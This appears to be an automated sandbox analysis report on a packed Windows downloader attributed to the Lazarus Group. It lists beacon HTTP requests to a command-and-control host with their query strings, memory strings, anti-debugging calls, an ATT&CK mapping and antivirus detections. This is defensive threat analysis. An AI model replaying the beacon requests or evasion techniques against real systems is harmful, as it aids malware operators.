Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: poem.ekosa.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Mon, 11 Jan 2021 16:54:56 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Source: WVbU1Gf5p8.exe, WVbU1Gf5p8.exe, 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp.bat
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp, WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn6780;
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn6786
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678:
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678B
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002522478.000000000139A000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678C:
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678F
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678H;c
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678T;O
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678V
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678Z;q
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678j
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678k
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678l;
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678n
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678r
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678~
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?id=dn678~;
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp, WVbU1Gf5p8.exe, 00000000.00000002.1002662893.000000000168F000.00000004.00000020.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u.
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uD
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uE
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uJ
Source: WVbU1Gf5p8.exe, 00000000.00000003.781276052.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uL
Source: WVbU1Gf5p8.exe, 00000000.00000003.923239328.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uO
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uP
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uX
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ud
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uer
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn6786
Source: WVbU1Gf5p8.exe, 00000000.00000003.781250554.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678H;c
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678k
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678l;
Source: WVbU1Gf5p8.exe, 00000000.00000003.923239328.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678~;
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ul
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6um
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uon
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uq
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ur
Source: WVbU1Gf5p8.exe, 00000000.00000003.915864738.000000000168F000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6urm
Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp	String found in binary or memory: http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uv
Source: WVbU1Gf5p8.exe, 00000000.00000003.709608423.00000000016AA000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002648212.000000000166A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Submitted sample is a known malware sample

Show sources

Source: WVbU1Gf5p8.exe

Initial file: MD5: 69f7cde70cc22aceb5dd32ff1dc3f685 Family: Lazarus Group Alias: Operation DarkSeoul, Dark Seoul, Hidden Cobra, Hastati Group, Andariel Group, Unit 121, Bureau 121, NewRomanic Cyber Army Team, Bluenoroff, Group 77, Labyrinth Chollima, Operation Troy, Operation GhostSecret, Guardians of Peace, ZINC, NICKEL ACADEMY, APT-C-26, Silent Chollima, Lazarus Group Description: Lazarus Group, active since at least 2009, is an APT group that has been attributed to the North Korean. There are lots of campaigns connected, including Operation Blockbuster, Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, Ten Days of Rain, etc.In November 2014, it carried out destructive wiping attack against Sony Pictures Entertainment. In 2016, it attacked Bangladesh central banks and stole US$81 million. In the middle of 2017, the WannaCry malware which leverages the leaked EternalBlue exploits affected as many as 300,000 computers worldwide. References: Data Source: https://github.com/RedDrip7/APT_Digital_Weapon

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01231780	0_2_01231780
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01231EB0	0_2_01231EB0
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123B40E	0_2_0123B40E
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123AF60	0_2_0123AF60
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_0123FA1C	0_2_0123FA1C
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_012346F7	0_2_012346F7

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002630413.0000000001640000.00000002.00000001.sdmp

Binary or memory string: OriginalFilenamemswsock.dll.muij% vs WVbU1Gf5p8.exe

Source: WVbU1Gf5p8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal60.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

File created: C:\Users\user\AppData\Local\Temp\TMP9518.tmp

Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: TMP	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: TMP	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: .bat	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: CPE:%08x	0_2_01232240
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Command line argument: DFE:%08x	0_2_01232240

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: WVbU1Gf5p8.exe	Virustotal: Detection: 71%
Source: WVbU1Gf5p8.exe	ReversingLabs: Detection: 66%

Source: WVbU1Gf5p8.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01231EB0 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_01231EB0

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_012445B5 push esi; ret		0_2_012445BE
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232E86 push ecx; ret		0_2_01232E99

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe TID: 3296	Thread sleep count: 78 > 30			Jump to behavior
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe TID: 3296	Thread sleep time: -14040000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_012385AB FindFirstFileExA,

0_2_012385AB

Source: WVbU1Gf5p8.exe, 00000000.00000003.915925652.00000000016C6000.00000004.00000001.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232C32 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_01232C32

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

0_2_01231EB0

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01235C5E mov eax, dword ptr fs:[00000030h]

0_2_01235C5E

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_0123A191 GetProcessHeap,

0_2_0123A191

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232D83 SetUnhandledExceptionFilter,	0_2_01232D83
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232C32 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01232C32
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01236B11 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01236B11
Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe	Code function: 0_2_01232796 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_01232796

Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: WVbU1Gf5p8.exe, 00000000.00000002.1002760838.0000000001EC0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232E9B cpuid

0_2_01232E9B

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_01232B24 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_01232B24

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter2	Path Interception	Process Injection1	Virtualization/Sandbox Evasion2	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection1	LSASS Memory	Security Software Discovery21	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer4	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information11	Security Account Manager	Virtualization/Sandbox Evasion2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
WVbU1Gf5p8.exe	71%	Virustotal		Browse
WVbU1Gf5p8.exe	67%	ReversingLabs	Win32.Downloader.SilverRage
WVbU1Gf5p8.exe	100%	Avira	TR/Dldr.Agent.wtwyi
WVbU1Gf5p8.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.WVbU1Gf5p8.exe.1230000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
0.0.WVbU1Gf5p8.exe.1230000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
poem.ekosa.org	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://poem.ekosa.org/intro/info/info.asp?id=dn678C:	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678~	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uon	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn6786	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uX	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678B	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp.bat	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678l;	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uL	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn6786	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678l;	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uO	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn6780;	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uP	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678:	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678Z;q	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uer	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ud	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678n	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678r	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678H;c	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678k	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678k	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678j	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678~;	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678T;O	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uv	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uinfo.asp?id=dn678~;	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678H;c	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678V	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6um	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u.	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uq	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6urm	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6ur	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uE	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6uJ	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?id=dn678F	0%	Avira URL Cloud	safe
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
poem.ekosa.org	210.116.91.80	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://poem.ekosa.org/intro/info/info.asp?id=dn678	false	Avira URL Cloud: safe	unknown
http://poem.ekosa.org/intro/info/info.asp?search=2tjbpK6urq6urq6u	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://poem.ekosa.org/intro/info/info.asp?id=dn678C:	WVbU1Gf5p8.exe, 00000000.00000002.1002522478.000000000139A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
